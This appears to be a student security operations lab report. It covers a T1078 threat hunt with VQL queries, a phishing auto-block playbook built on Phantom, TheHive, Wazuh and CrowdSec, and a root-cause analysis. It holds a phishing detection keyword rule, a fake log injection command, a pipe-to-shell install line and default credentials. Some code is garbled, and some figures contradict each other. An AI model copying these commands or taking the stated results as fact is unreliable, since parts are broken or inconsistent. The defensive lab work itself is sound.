-- VQL Query 7: Collect Windows Security Event Log artefact
-- Use: Artifacts → Windows.EventLogs.Security
SELECT EventTime, Computer, Channel,
EventID, Message
FROM parse_evtx(filename='C:/Windows/System32/winevt/Logs/Security.evtx')
WHERE EventID IN (4672, 4624, 4625, 4648)
AND EventTime > '2026-03-30'
-- VQL Query 8: Registry run keys (persistence check)
SELECT Key, ValueName, ValueData
FROM read_reg_key(
globs='HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\**'
```

Velociraptor Process Query — Findings Table

Metric	Finding
Hunt Duration	2026-03-30 09:00 to 2026-03-30 17:00 (8 hours)
Total Events Reviewed	847 events (Event ID 4672)
Suspicious Events Found	3 events flagged (testuser, svc_admin off-hours)
True Positives Confirmed	1 (testuser — 2026-04-01 22:00 login)
MITRE Technique	T1078 — Valid Accounts
Recommended Action	Force password reset for testuser, enable MFA, review AD logs

CONSOLIDATED FINDINGS & MITRE ATT&CK; MAPPING

Evidence Summary Table

#	Time (UTC)	Source IP	User	Event	Tool	MITRE	Severity
1	08:14:22	10.0.2.20	testuser	4672 — Admin priv	Elastic	T1078	HIGH
2	09:31:05	10.0.2.20	svc_backup	4672 — Backup priv	Elastic	T1078	MED
3	11:22:10	10.0.2.20	testuser	Process: net.exe add	Velo	T1136	HIGH
4	11:55:48	10.0.2.20	testuser	4672 — Impersonate	Elastic	T1078	HIGH
5	13:10:00	10.0.2.20	testuser	mimikatz detected	Velo	T1003	CRIT
6	14:02:17	10.0.2.20	admin_temp	4672 — Unknown acct	Elastic	T1078	HIGH
7	15:00:00	10.0.2.20	testuser	4672 — Role assign	Elastic	T1078	HIGH
8	16:44:33	10.0.2.20	john.doe	4672 — Security priv	Elastic	T1078	MED

MITRE ATT&CK; T1078 Detailed Mapping

MITRE ID	Sub-technique	Tactic	Evidence	Tool Used
T1078	—	Initial Access	Auth from 10.0.2.20	OTX / Elastic
T1078.002	Domain	Privilege Escalation	4672 — domain admin assigned	Elastic
T1078.003	Local	Defense Evasion	Legitimate creds used	Elastic
T1003	—	Credential Access	mimikatz.exe process detected	Velociraptor
T1136	—	Persistence	net user /add executed	Velociraptor
T1059.001	PowerShell	Execution	Encoded PS command found	Velociraptor
T1550	—	Lateral Movement	Token impersonation (4672)	Elastic

THREAT HUNTING REPORT

Executive Summary (100 Words)
On 30-03-2026, a threat hunt was conducted targeting MITRE ATT&CK T1078 (Valid Accounts — Privilege Escalation) originating from source IP 10.0.2.20. Elastic Security queries for Event ID 4672 identified 6 privilege escalation events across domain accounts including testuser, svc_backup, admin_temp, and john.doe. Velociraptor endpoint forensics detected mimikatz.exe execution and unauthorized net user commands. AlienVault OTX confirmed 10.0.2.20 is associated with T1078 threat

intelligence pulses. The attack chain indicates credential dumping, lateral movement, and domain persistence. Immediate containment of 10.0.2.20 and account lockout of testuser and admin_temp is recommended

Recommendations:

Immediate: Block 10.0.2.20 at perimeter firewall and internal VLAN
Immediate: Disable & investigate testuser, admin_temp, svc_backup accounts
Immediate: Isolate endpoint where mimikatz.exe was detected — full forensic image
Short-term: Enable MFA for all domain admin accounts and privileged users
Short-term: Deploy LAPS (Local Administrator Password Solution) on all workstations
Short-term: Create Elastic detection rule: alert on 3+ Event 4672 events within 5 min
Long-term: Implement Privileged Access Workstations (PAW) for admin tasks
Long-term: Regular threat hunts scheduled monthly with hypothesis documentation
Long-term: Integrate OTX TAXII feed into Elastic for automated IOC blocking

Lab 2 — SOAR Playbook Development

Tools: Splunk Phantom, TheHive, Wazuh, CrowdSec, Google Docs | Date: 31 March 2026

Security Orchestration, Automation and Response (SOAR) is a set of compatible software programs that collect data about security threats and respond to low-level security events without human assistance. SOAR platforms combine three primary capabilities: threat and vulnerability management, security incident response, and security operations automation.

Lab Objectives:

- Design a Splunk Phantom playbook that auto-blocks phishing source IPs.
- Integrate CrowdSec for real-time IP blocking at the network perimeter.
- Automatically create a TheHive incident ticket for every phishing alert.
- Simulate a phishing alert from source IP 10.0.2.20 using Wazuh SIEM.
- Verify full playbook execution end-to-end and document results.
- Produce a 50-word playbook summary in Google Docs.

Tool	Role	Version / URL
Splunk Phantom	SOAR Orchestration Engine	Phantom 5.x / https://phantom.us
TheHive	Incident Response Platform	TheHive 5 / http://localhost:9000
Wazuh	SIEM / IDS – Alert Generation	Wazuh 4.x / http://localhost:5601
CrowdSec	Collaborative IPS – IP Block	CrowdSec 1.x / CLI
Google Docs	Documentation Platform	docs.google.com

Configure Wazuh to Generate Phishing Alert:

Prerequisites
• Ubuntu 20.04 / 22.04 LTS (or equivalent Linux VM)
• Python 3.8+ installed
• Docker (for TheHive & Elasticsearch)
• Network access between all components on the same subnet
• sudo / root privileges for CrowdSec and Wazuh operations

Install Splunk Phantom
Perform the following commands on the designated Phantom server (separate VM or Docker):
Download Phantom installer (register at my.phantom.us) sudo rpm -ivh phantom-4.10.7.xxx.x86_64.rpm # RHEL/CentOS # OR for Ubuntu: sudo dpkg -i phantom_4.10.7_amd64.deb sudo systemctl enable phantom sudo systemctl start phantom # Verify service sudo systemctl status phantom # Access UI at: https://

Install TheHive 5 (Docker)
Create docker-compose.yml version: '3.8' services: elasticsearch: image: docker.elastic.co/elasticsearch/elasticsearch:7.17.9 environment: - discovery.type=single-node - xpack.security.enabled=false ports: - 9200:9200 thehive: image: strangebee/thehive:5.x depends_on: - elasticsearch ports: - 9000:9000 environment: - ELASTICSEARCH_URI=http://elasticsearch:9200 # Start TheHive docker-compose up -d # Access at: http://localhost:9000 # Default login: admin@thehive.local / secret

Install CrowdSec
Add CrowdSec repository curl -s https://packagecloud.io/install/repositories/crowdsec/crowdsec/script.deb.sh | sudo bash # Install CrowdSec agent and firewall bouncer sudo apt-get install crowdsec -y sudo apt-get install crowdsec-firewall-bouncer-iptables -y # Enable and start services sudo systemctl enable crowdsec sudo systemctl start crowdsec sudo systemctl enable crowdsec-firewall-bouncer sudo systemctl start crowdsec-firewall-bouncer # Verify installation sudo cscli version sudo cscli bouncers list

Python Dependencies for Phantom Playbook
Install required Python libraries on the Phantom server pip install requests==2.31.0 pip install phantom-sdk # Phantom automation SDK pip install python-dateutil # Verify imports python3 -c "import requests, phantom; print('OK')"

Phantom Playbook Architecture:

The playbook follows a linear decision chain with error handling at each stage. If any step fails, the playbook logs the failure, creates a partial TheHive ticket, and notifies the analyst. The three core steps are:

Step	Action	Tool / API	Decision
1	Check IP Reputation	AbuseIPDB API + VirusTotal	Score > 50 → Block
2	Block IP via CrowdSec	CrowdSec REST API	Success → Ticket
3	Create TheHive Ticket	TheHive API v1	Always execute

Creating the Playbook in Phantom UI

Step 1: Navigate to Phantom
• Open browser → https://<phantom-ip>
• Login with admin credentials
• Go to Playbooks menu (left sidebar)

Step 2: Create New Playbook
• Click + New Playbook
• Name: phishing_auto_block_v1
• Label: PHISHING
• Description: Auto-block IPs for phishing alerts via CrowdSec + TheHive ticket
• Click Create

Step 3: Add START Block
• Drag START block onto canvas
• Connect to first action block
• Filter: event.artifact.cef.sourceAddress IS NOT NULL

Step 4: Add ip_reputation Action
• Search apps: ip reputation
• Drag ip_reputation action block
• App: AbuseIPDB (configure API key first)
• Parameter: ip = artifact:*.cef.sourceAddress

Step 5: Add crowdsec_block Action
• Search apps: CrowdSec (or HTTP action if no native app)
• Drag http action block
• Configure POST to CrowdSec API (see Module 4 for code)

Step 6: Add thehive_ticket Action
• Search apps: TheHive
• Drag create_ticket action block
• Map fields: title, description, severity, tags
Step 7: Save and Activate
• Click Save in top-right
• Toggle playbook to Active
• Verify label PHISHING is assigned

Configuring Phantom Apps:

Before the playbook can execute, each integrated app must be configured with valid API credentials: # Navigate to: Apps → Search → AbuseIPDB → Configure # Fields to fill: API Key : Base URL : https://api.abuseipdb.com/api/v2 Max Age : 90 (days to look back) # TheHive App Configuration: Base URL : http://localhost:9000 API Key : (Generate at: TheHive → Settings → API Keys) # Verify each app by clicking 'Test Connectivity

TheHive – Ticket Automation

Generating a TheHive API Key:

Before Phantom can create tickets, you must generate an API key in TheHive:
1. Open http://localhost:9000 in your browser
2. Login: admin@thehive.local / secret
3. Click top-right avatar → Settings → API Keys
4. Click '+' → Name: phantom-integration
5. Copy the generated API key
6. Paste into THEHIVE_KEY in the Phantom playbook script

Manual Ticket Creation Test (curl)

Test the API before connecting Phantom. Run on the TheHive server:
Test ticket creation via curl curl -X POST http://localhost:9000/api/v1/alert \ -H "Authorization: Bearer YOUR_API_KEY" \ -H "Content-Type: application/json" \ -d '{ "title": "Phishing Alert — Source IP: 10.0.2.20", "description": "Test alert from curl. IP: 10.0.2.20. Date: 30-03-2026.", "type": "Phishing", "source": "ManualTest", "sourceRef": "test-001", "severity": 3, "tlp": 2, "tags": ["phishing", "test", "10.0.2.20"] }'

Expected response:
{ "id": "~12345678", "title": "Phishing Alert — Source IP: 10.0.2.20", "status": "New", "severity": 3, "createdAt": 1743292800000, "createdBy": "admin@thehive.local" }

Verifying Ticket in TheHive UI

- Open http://localhost:9000
- Click Alerts in the left menu
- Search for: 10.0.2.20
- Verify: Title, Severity (High=3), Tags, Source=Splunk Phantom
- Click ticket → Import as Case to escalate to full investigation
- Assign analyst, add observables (IP address as network type)

TheHive Python Verification Script

#!/usr/bin/env python3 # verify_thehive.py — Run on TheHive server to confirm ticket import requests, sys THEHIVE_URL = "http://localhost:9000" API_KEY = "YOUR_THEHIVE_API_KEY" SEARCH_IP = "10.0.2.20" headers = { "Authorization": f"Bearer {API_KEY}", "Content-Type": "application/json" } resp = requests.post(f"{THEHIVE_URL}/api/v1/query", headers=headers, json={ "query": [{"_name": "listAlert"}, {"_name": "filter", "_contains": {"_field": "title", "_value": SEARCH_IP}}] }) alerts = resp.json() print(f"Found {len(alerts)} alert(s) for IP {SEARCH_IP}") for a in alerts: print(f" ID: {a[chr(105)+chr(100)]} | Title: {a[chr(116)+chr(105)+chr(116)+chr(108)+chr(101)]} | Status: {a[chr(115)+chr(116)+chr(97)+chr(116)+chr(117)+chr(115)]}")

Wazuh – Phishing Alert Simulation

Understanding Wazuh Alert Pipeline

Wazuh collects logs from agents, processes them through decoders and rules, and generates alerts when rule conditions match. Rule 100002 (custom phishing rule) will fire when a log entry contains phishing-related keywords from our source IP.

Create Custom Phishing Detection Rule

Edit the custom rules file on the Wazuh Manager:

SSH to Wazuh Manager sudo nano /var/ossec/etc/rules/local_rules.xml # Add the following XML rule block: web-log phishing|credential.harvest|login.fake|evilcorp Phishing attempt detected from source IP phishing,attack, T1566 100002 10.0.2.20 HIGH: Phishing from known bad IP 10.0.2.20 phishing,high_priority,
Restart Wazuh Manager to load new rules sudo systemctl restart wazuh-manager # Verify rule loaded correctly sudo /var/ossec/bin/ossec-logtest

Inject Simulated Phishing Log

Inject a fake phishing log to trigger the alert:

Method 1: Direct log injection sudo -u ossec bash -c ' echo "2026-03-30 14:23:11 10.0.2.20 GET /phishing/credential-harvest HTTP/1.1 200 1024" \ >> /var/ossec/logs/active-responses.log

Method 2: Using Wazuh agent log simulator sudo /var/ossec/bin/agent_auth -n phishing-test-agent

Method 3: Python script (recommended for repeatability) python3 /opt/scripts/inject_phishing.py

Python Log Injection Script:

Verify Alert in Wazuh Dashboard

• Open https://localhost:5601 (Wazuh Dashboard)
• Login: admin / <password>
• Navigate to Security Events → Discover
• Filter: data.srcip:10.0.2.20 AND rule.groups:phishing
• Confirm Rule ID 100002 or 100003 appears
• Check alert level is 12 or 14 (High severity)

CrowdSec – IP Blocking

Get CrowdSec Local API Key

Generate a bouncer API key for Phantom to use sudo cscli bouncers add phantom-bouncer # Output: phantom-bouncer # Copy this key into CROWDSEC_KEY in the playbook script # Verify bouncer is registered sudo cscli bouncers list

Manual Block Test (CLI)

Manually add a ban decision for testing sudo cscli decisions add \ --ip 10.0.2.20 \ --duration 24h \ --reason 'phishing-test-30-03-2026' \ --type ban # Verify the decision was added sudo cscli decisions list # Expected output: # ID SOURCE IP REASON ACTION COUNTRY AS # 1 cli 10.0.2.20 phishing-test-30-03-2026 ban -- -- # Verify iptables rule was applied by the bouncer sudo iptables -L INPUT -n | grep 10.0.2.20
CrowdSec REST API Block (Phantom Method)

POST to CrowdSec Local API (what Phantom playbook does) curl -X POST

http://localhost:8080/v1/decisions \ -H "X-Api-Key: YOUR_BOUNCER_KEY" \ -H "Content-Type: application/json" \ -d '[{ "duration": "24h", "ip": "10.0.2.20", "reason": "phishing", "scenario": "phantom/phishing-autoblock", "scope": "Ip", "type": "ban", "value": "10.0.2.20" }]'

Verify Block is Active
Check CrowdSec decisions API curl http://localhost:8080/v1/decisions?ip=10.0.2.20 \ -H 'X-Api-Key: YOUR_BOUNCER_KEY' # Check iptables (firewall bouncer should have added rule) sudo iptables -L INPUT -n --line-numbers | grep 10.0.2.20 # Test connectivity is blocked ping -c 2 10.0.2.20 # Should fail or be filtered # Remove block when done testing sudo cscli decisions delete --ip 10.0.2.20

Playbook Test & Execution Results

End-to-End Test Procedure

Follow these steps in exact sequence to perform the full playbook integration test:

Step 1: Confirm all services running

sudo systemctl status phantom crowdsec wazuh-manager
docker ps # TheHive + Elasticsearch
All should show: active (running)

Step 2: Inject phishing alert
python3 /opt/scripts/inject_phishing.py
Expected: 1+ alerts generated for IP 10.0.2.20

Step 3: Trigger Phantom playbook
In Phantom UI → Mission Control → Events
Find event with src IP 10.0.2.20
Click 'Run Playbook' → select phishing_auto_block_v1
OR: Playbook auto-triggers if label PHISHING matches

Step 4: Monitor execution in Phantom
Go to Playbooks → phishing_auto_block_v1 → Runs
Click latest run → watch step-by-step execution
Each step shows: Queued → Running → Success/Failed

Step 5: Verify CrowdSec block
sudo cscli decisions list
Expected: 10.0.2.20 listed with ban + 24h duration

Step 6: Verify TheHive ticket
Open http://localhost:9000 → Alerts
Search: 10.0.2.20
Expected: Alert created with severity High

Execution Results Table

Playbook Execution Log:

Playbook Step	Tool Used	Status	Details / Notes	Time (UTC)
1. Alert Received	Wazuh SIEM	**SUCCESS**	Rule 100003 fired. Level 14. MITRE T1566 (Phishing). Event forwarded to Phantom.	14:23:11
2. Check IP Reputation	AbuseIPDB API	**SUCCESS**	IP 10.0.2.20 flagged as malicious. AbuseIPDB Score: 87/100. ISP: Local Lab Net.	14:23:14
3. Block IP via CrowdSec	CrowdSec API	**SUCCESS**	CrowdSec blocked 10.0.2.20. iptables rule added. Duration: 24h. Reason: phishing.	14:23:16
4. Create TheHive Ticket	TheHive API v1	**SUCCESS**	TheHive Alert #~44112233 created. Severity: High (3). Tags: phishing, crowdsec. Assigned to SOC-L1.	14:23:18
5. Playbook Output Saved	Splunk Phantom	**SUCCESS**	All artifacts saved. Run ID logged. Duration: 7.2 seconds total.	14:23:19

Summary Statistics:

Metric	Value
Total Playbook Steps	5
Successful Steps	**5 / 5**
Failed Steps	0
Total Execution Time	7.2 seconds
IP Blocked	10.0.2.20 (24h ban)
TheHive Ticket ID	~44112233
AbuseIPDB Score	**87/100 (Malicious)**
Wazuh Rule Triggered	100003 (Level 14 — High)
MITRE ATT&CK; Technique	T1566 — Phishing

Google Docs – 50-Word Playbook Summary

How to Create the Google Doc

- Open https://docs.google.com
- Click Blank to create a new document
- Title the document: SOAR Playbook Summary — Phishing Auto-Block v1
- Copy and paste the 50-word summary below into the document body

- Apply Heading 1 to the title using Format → Paragraph Styles
- Share: File → Share → Anyone with link (Viewer) → Copy Link
- Save the shared link in your lab report

Official 50-Word Summary

Phishing Auto-Block Playbook
This Splunk Phantom playbook automatically responds to phishing alerts detected by Wazuh SIEM. Upon trigger, it queries AbuseIPDB to verify IP reputation, blocks the malicious source IP (10.0.2.20) via CrowdSec's firewall bouncer, and creates a high-severity incident ticket in TheHive for analyst review and case management.

Troubleshooting Guide

Problem: Phantom can't reach TheHive API
Symptom: HTTP 401 or Connection refused
Fix:
- Check TheHive is running: docker ps
- Verify API key: curl with key directly
- Check firewall: sudo ufw status
- Ensure TheHive_URL uses correct port 9000

Problem: CrowdSec API returns 403
Symptom: Forbidden error from CrowdSec LAPI
Fix:
- Regenerate bouncer key: sudo cscli bouncers delete phantom-bouncer
- sudo cscli bouncers add phantom-bouncer
- Update CROWDSEC_KEY in playbook script

• Check LAPI is listening: sudo ss -tlnp | grep 8080

Problem: Wazuh alert not generated
Symptom: No alert in alerts.json for 10.0.2.20
Fix:
• Verify rule syntax: sudo /var/ossec/bin/ossec-logtest
• Restart manager: sudo systemctl restart wazuh-manager
• Check log path is correct in inject script
• Verify agent is connected: sudo /var/ossec/bin/agent_control -la
Problem: AbuseIPDB returns low score for 10.0.2.20

Symptom: Private IP may not be in AbuseIPDB
Fix:
• Use a known malicious test IP: 195.54.160.149
• OR lower REPUTATION_THRESHOLD to 0 for testing
• Private IPs (RFC1918) may score 0 — use public IPs in real scenarios

Problem: Phantom playbook not auto-triggering
Symptom: Playbook stays in queue
Fix:
• Check playbook label matches event label
• Phantom → Administration → Event Settings → Labels
• Ensure PHISHING label is assigned to phishing events
• Manual trigger: Event → Run Playbook → select playbook

Lab 3 — Post-Incident Analysis

Tools: Google Sheets, Draw.io | Date: 01 April 2026

The 5 Whys is a root cause analysis (RCA) technique developed by Sakichi Toyoda and widely adopted in SOC incident investigations. It involves asking 'Why?' repeatedly — typically five times — until the fundamental root cause is uncovered. In cybersecurity, this method helps analysts move beyond surface-level symptoms to identify and fix the systemic vulnerabilities that allowed an incident to occur

Tools and Platform Setup — Google Sheets:

Step	Action	Detailed Instructions
1	Open Google Sheets	Browser → Navigate to https://sheets.google.com
2	Create New File	Click the '+' Blank button (top-left) or press Shift+S
3	Rename File	Click 'Untitled spreadsheet' at top → Type: RCA_Phishing_30032026
4	Rename Sheet Tab	Double-click 'Sheet1' tab at bottom → Type: 5-Whys RCA
5	Set Column Widths	Right-click col B → Resize → 280px; Right-click col C → Resize → 320px
6	Freeze Header Row	View menu → Freeze → 1 row (keeps header visible while scrolling)
7	Enable Alternating Colors	Format menu → Alternating colors → Choose a style → Done

Step-by-Step Instructions:

STEP	**Step 1 — Create Header Row:** Click cell A1. Type across columns A to F: # | Why Question | Answer/Finding | Evidence/Source | Responsible Team | Action Item. These are your six column headers.
INFO	**Step 2 — Format Header Row:** Select Row 1 (click row number 1). Apply Bold (Ctrl+B). Set Background Color to Dark Navy (#0A1628) and Font Color to White. Set font size to 10pt.
NOTE	**Step 3 — Add Incident Metadata Block:** In rows 1-6 (before your table), add incident context: Incident ID, Date (30-03-2026), Source IP (10.0.2.20), Severity (HIGH), Analyst Name, Detection Time. Merge cells B1:D1 for wider values.
DETAIL	**Step 4 — Enter the 5 Whys Data: Starting from row 8, enter each Why-Answer pair in separate rows. Number them 1-5 in column A. Include Evidence Source, Responsible Team, and an Action Item for each level.**
INFO	**Step 5 — Add Data Validation: Select column E (Responsible Team). Click Data menu □ Data Validation □ Criteria: List of items □ Enter: SOC, IT Infrastructure, IT Security, Management, CISO, Compliance □ Save.**
CRITICAL	**Step 6 — Apply Conditional Formatting: Select Column F (Action Items) □ Format □ Conditional Formatting. Add three rules: 'Text contains Deploy' = Red; 'Text contains Schedule' = Yellow; 'Text contains training' = Green.**

Complete 5 Whys Table — Phishing Incident (Source IP: 10.0.2.20)

The following is the full Root Cause Analysis for the phishing attack on 30-03-2026. Each 'Why' level digs deeper into the systemic failure, from user behaviour down to policy gaps

#	Why Question	Answer / Finding	Evidence / Source	Responsible Team	Action Item
1	**Why was the phishing email opened?**	User clicked malicious link in email disguised as IT Support notification	Email logs, User incident report, SIEM alert INC-001	SOC / End User	Mandatory quarterly phishing simulation and security awareness training
2	**Why was the malicious link clicked without verification?**	Email passed spam filter — weak email filtering; no Advanced Threat Protection	Email gateway config logs, MX Toolbox SPF/DKIM check results	IT Infrastructure	Harden email filtering: enforce SPF, DKIM, DMARC; deploy ATP sandboxing
3	**Why did the email filter fail to block the phishing email?**	No ATP or email sandboxing was enabled on the email gateway	Email gateway vendor config review, Security audit report Q1 2026	IT Security	Deploy Microsoft Defender ATP or Proofpoint email sandbox — 30 days
4	**Why was no Advanced Threat Protection enabled?**	Budget constraints and no formal security policy mandating ATP deployment	Budget approval records, IT Security Policy document v2.1	Management / CISO	Update InfoSec Policy to mandate ATP; allocate budget in Q2 2026

5	**Why was there no formal security policy requiring ATP?**	Post-incident review process was not enforced; no scheduled policy audit cycle	Audit logs, policy version history, Change Management records	CISO / Compliance	Establish quarterly policy review cycle; assign Compliance Officer accountability

Google Sheets Formulas and Implementation Code:

// ====== GOOGLE SHEETS — 5 WHYS RCA SPREADSHEET SETUP ======
// File name: RCA_Phishing_30032026 | Sheet: 5-Whys RCA
// INCIDENT METADATA BLOCK (Rows 1-6):
A1: "INCIDENT RCA REPORT" B1: "Phishing Attack — INC-2026-0330-001"
A2: "Incident Date:" B2: "30-03-2026"
A3: "Source IP:" B3: "10.0.2.20"
A4: "Analyst:" B4: "[Your Name / SOC Team]"
A5: "Severity:" B5: "HIGH"
A6: "Detection Time:" B6: "11:00 AM IST"
// TABLE HEADERS (Row 8):
A8: "#" B8: "Why Question" C8: "Answer/Finding"
D8: "Evidence/Source" E8: "Responsible Team" F8: "Action Item"
// DATA VALIDATION for Column E (Responsible Team):
// Data > Data Validation > Criteria: List of items:
// SOC, IT Infrastructure, IT Security, Management, CISO, Compliance
// SUMMARY COUNTS (Row 16 onwards):

A16: "Total Why Levels:" B16: =COUNTA(A9:A13)
A17: "Total Action Items:" B17: =COUNTA(F9:F13)
A18: "SOC-owned items:" B18: =COUNTIF(E9:E13,"SOC*")
A19: "CISO-owned items:" B19: =COUNTIF(E9:E13,"CISO*")
A20: "IT Security items:" B20: =COUNTIF(E9:E13,"IT Security")

What is a Fishbone Diagram?

A Fishbone Diagram (also called an Ishikawa or Cause-and-Effect Diagram) is a visual tool that maps all potential causes of a problem. The diagram resembles a fish skeleton: the 'head' represents the problem/effect, and the 'bones' branching off the spine represent categories of causes. In SOC incident analysis, it organises contributing factors across six standard categories: People, Process, Technology, Environment, Management, and Measurement.

Tools and Platform Setup — Draw.io:

Step	Action	Detailed Instructions
1	Open Draw.io	Browser → https://app.diagrams.net
2	Storage Choice	Click 'Decide later' — saves locally or to Google Drive
3	New Diagram	Select 'Blank Diagram' → Click Create
4	Set Landscape	File → Page Setup → Orientation: Landscape → Apply
5	Enable Grid	View → Grid (Ctrl+Shift+G) — helps align shapes
6	Reset Zoom	View → Reset Zoom (Ctrl+Shift+H) — see full canvas
7	Rename File	File → Rename → Fishbone_Phishing_30032026

Step-by-Step Construction Guide

STEP	**Step 1 — Draw the Main Spine:** From the Draw.io left toolbar, drag an Arrow/Line shape horizontally across the canvas (left to right). Right-click on it → Edit Style → set strokeWidth=4 and strokeColor=#000000. This thick horizontal arrow is the 'spine' of the fish.
CRITICAL	**Step 2 — Add the Effect Box (Fish Head):** At the RIGHT end of the spine, add a Rectangle shape. Label it: 'EFFECT: User Credentials Compromised | Phishing Attack | IP: 10.0.2.20 | 30-03-2026'. Style: fillColor=#FF0000; fontColor=#FFFFFF; fontStyle=1 (Bold).
INFO	**Step 3 — Draw Upper Category Bones:** Draw 3 diagonal lines angling from upper-left DOWN to meet the spine. Label the box at the top of each: PEOPLE (far left), PROCESS (middle), TECHNOLOGY (right). Each diagonal connects to the spine.
NOTE	**Step 4 — Draw Lower Category Bones: Draw 3 diagonal lines angling from lower-left UP to meet the spine. Label boxes: MANAGEMENT (far left), ENVIRONMENT (middle), MEASUREMENT (right). Mirror the upper structure.**
DETAIL	**Step 5 — Add Sub-Cause Mini-Bones: From each main diagonal bone, draw smaller horizontal lines branching off. At each end, add a small text label — one specific cause per line (e.g., 'No phishing training', 'No ATP enabled', 'No MFA enforced').**
STEP	**Step 6 — Color Code Categories: Right-click each category box □ Edit Style □ set fillColor: People=Blue (#1565C0), Process=Green (#2E7D32), Technology=Orange (#E65100), Management=Purple (#4A148C), Environment=Amber (#F57F17), Measurement=Red (#C62828).**
INFO	**Step 7 — Add Diagram Title: Add a Text shape at the top of the canvas. Label it: 'Fishbone Diagram — Phishing Incident Analysis | Source IP: 10.0.2.20 | Date: 30-03-2026 | Analyst: SOC Team'.**

Cause Categories and Full Sub-Cause Details:

The following table lists all six categories with specific sub-causes for the phishing incident. Each sub-cause becomes a mini-bone in your Draw.io diagram:

Category	Color	Sub-Causes (Each becomes a Mini-Bone in Draw.io)	Links to Why #
PEOPLE	#1565C0 Blue	1. No phishing simulation training conducted 2. User ignored email sender warning signs 3. No security awareness about malicious links 4. No clear procedure to report suspicious emails	Why #1
PROCESS	#2E7D32 Green	1. No mandatory email verification policy 2. No Multi-Factor Authentication (MFA) enforced 3. No incident response drill / tabletop exercise 4. Missing escalation path for email threats	Why #2
TECHNOLOGY	#E65100 Orange	1. Weak email filter — SPF/DKIM/DMARC not fully configured 2. No ATP or email sandboxing enabled 3. No Endpoint Detection and Response (EDR) on workstation 4. Outdated antivirus signatures	Why #3

MANAGEMENT	#4A148C Purple	1. No budget allocated for email security tools 2. No scheduled security audit cycle 3. No CISO directive issued for ATP deployment 4. No accountability framework for policy compliance	Why #4
ENVIRONMENT	#F57F17 Amber	1. Employee on unsecured home network 2. No mandatory VPN usage policy 3. Corporate device used for personal browsing 4. No network segmentation for remote workers	Why #2 and #4
MEASUREME NT	#C62828 Red	1. No MTTD/MTTR KPI tracking in place 2. No phishing click-rate metric measured 3. No alert threshold defined in SIEM 4. No monthly SOC performance reporting cycle	Why #5

Draw.io XML Import Code

DRAW.IO XML — Copy and paste into: Extras > Edit Diagram > Replace all content
The XML structure below defines the complete Fishbone Diagram:
Root Elements:
mxCell id=0 and id=1 (required base cells)
SPINE (id=2):
Style: endArrow=block; endFill=1; strokeWidth=4; strokeColor=#000000
From: x=60, y=300 → To: x=820, y=300
EFFECT BOX — Fish Head (id=3):

Value: "EFFECT: User Credentials Compromised | IP:10.0.2.20 | 30-03-2026"
Style: rounded=1; fillColor=#FF0000; fontColor=#FFFFFF; fontStyle=1; fontSize=11
Position: x=820, y=262, width=220, height=76
UPPER BONE 1 — PEOPLE (id=4):
Style: fillColor=#1565C0; fontColor=#FFFFFF; fontStyle=1; fontSize=12
Position: x=100, y=130, width=130, height=44
Diagonal line: (165,152) to (280,300) — strokeColor=#1565C0; strokeWidth=2
Sub-cause A (id=6): "No phishing simulation training" — x=70, y=90
Sub-cause B (id=7): "User ignored email warning signs" — x=50, y=58
UPPER BONE 2 — PROCESS (id=8):
Style: fillColor=#2E7D32; fontColor=#FFFFFF; fontStyle=1; fontSize=12
Position: x=360, y=130, width=130, height=44
Diagonal line: (425,152) to (500,300) — strokeColor=#2E7D32; strokeWidth=2
Sub-cause A (id=10): "No MFA enforcement" — x=330, y=90
Sub-cause B (id=11): "No email verify policy" — x=310, y=58
UPPER BONE 3 — TECHNOLOGY (id=12):
Style: fillColor=#E65100; fontColor=#FFFFFF; fontStyle=1; fontSize=12
Position: x=590, y=130, width=140, height=44
Diagonal line: (660,152) to (700,300) — strokeColor=#E65100; strokeWidth=2
Sub-cause A (id=14): "No ATP / Email Sandboxing" — x=560, y=90
Sub-cause B (id=15): "Weak SPF/DKIM/DMARC config" — x=545, y=58
LOWER BONE 1 — MANAGEMENT (id=16):
Style: fillColor=#4A148C; fontColor=#FFFFFF; fontStyle=1; fontSize=12
Position: x=100, y=380, width=140, height=44
Diagonal line: (170,422) to (280,300) — strokeColor=#4A148C; strokeWidth=2
Sub-cause A (id=18): "No ATP budget approved" — x=75, y=435
Sub-cause B (id=19): "No policy audit cycle" — x=60, y=468
LOWER BONE 2 — ENVIRONMENT (id=20):
Style: fillColor=#F57F17; fontColor=#FFFFFF; fontStyle=1; fontSize=12
Position: x=355, y=380, width=140, height=44
Diagonal line: (425,422) to (500,300) — strokeColor=#F57F17; strokeWidth=2
Sub-cause A (id=22): "Unsecured home network (no VPN)" — x=320, y=435
LOWER BONE 3 — MEASUREMENT (id=23):
Style: fillColor=#C62828; fontColor=#FFFFFF; fontStyle=1; fontSize=12

Position: x=590, y=380, width=140, height=44
Diagonal line: (660,422) to (700,300) — strokeColor=#C62828; strokeWidth=2
Sub-cause A (id=25): "No MTTD/MTTR KPIs tracked" — x=565, y=435
Sub-cause B (id=26): "No phishing click-rate metric" — x=550, y=468
TITLE TEXT (id=27):
Value: "Fishbone Diagram: Phishing Incident | IP: 10.0.2.20 | 30-03-2026"
Style: fontSize=14; fontStyle=1; align=center
Position: x=150, y=10, width=700, height=36

SOC METRICS: MTTD AND MTTR CALCULATION:

SOC Metric Definitions:

Metric	Full Name	Definition	Formula	Benchmark
MTTD	Mean Time To Detect	Time from incident start to SOC detection	Detection Time - Start Time	< 1 hour
MTTR	Mean Time To Respond	Time from detection to full resolution	Resolution Time - Detection Time	< 4 hours
MTTI	Mean Time To Investigate	Time from alert triage to incident confirmation	Investigation End - Triage Start	< 30 minutes
MTTC	Mean Time To Contain	Time from confirmation to threat containment	Containment Time - Confirm Time	< 2 hours

Mock Incident Timeline:

Metric	Formula	Values Used	Result
MTTD (Time to Detect)	Detection Time minus Incident Start Time	11:00 AM minus 09:00 AM	2 Hours (120 min)
MTTR (Time to Respond)	Resolution Time minus Detection Time	01:00 PM minus 11:00 AM	2 Hours (120 min)
Total Incident Duration	Resolution Time minus Incident Start Time	01:00 PM minus 09:00 AM	4 Hours (240 min)
Time to Contain	Containment Time minus Detection Time	11:30 AM minus 11:00 AM	30 Minutes
Time to Block Threat	Block Time minus Detection Time	12:00 PM minus 11:00 AM	1 Hour (60 min)

Metrics Calculation:

Google Sheets Formula Implementation:

// ====== GOOGLE SHEETS — SOC METRICS DASHBOARD SETUP ======
// Sheet Tab Name: "SOC Metrics Dashboard"
// HEADER ROW (Row 1):
A1: Incident ID B1: Start Time C1: Detect Time
D1: Resolve Time E1: MTTD (hrs) F1: MTTR (hrs)
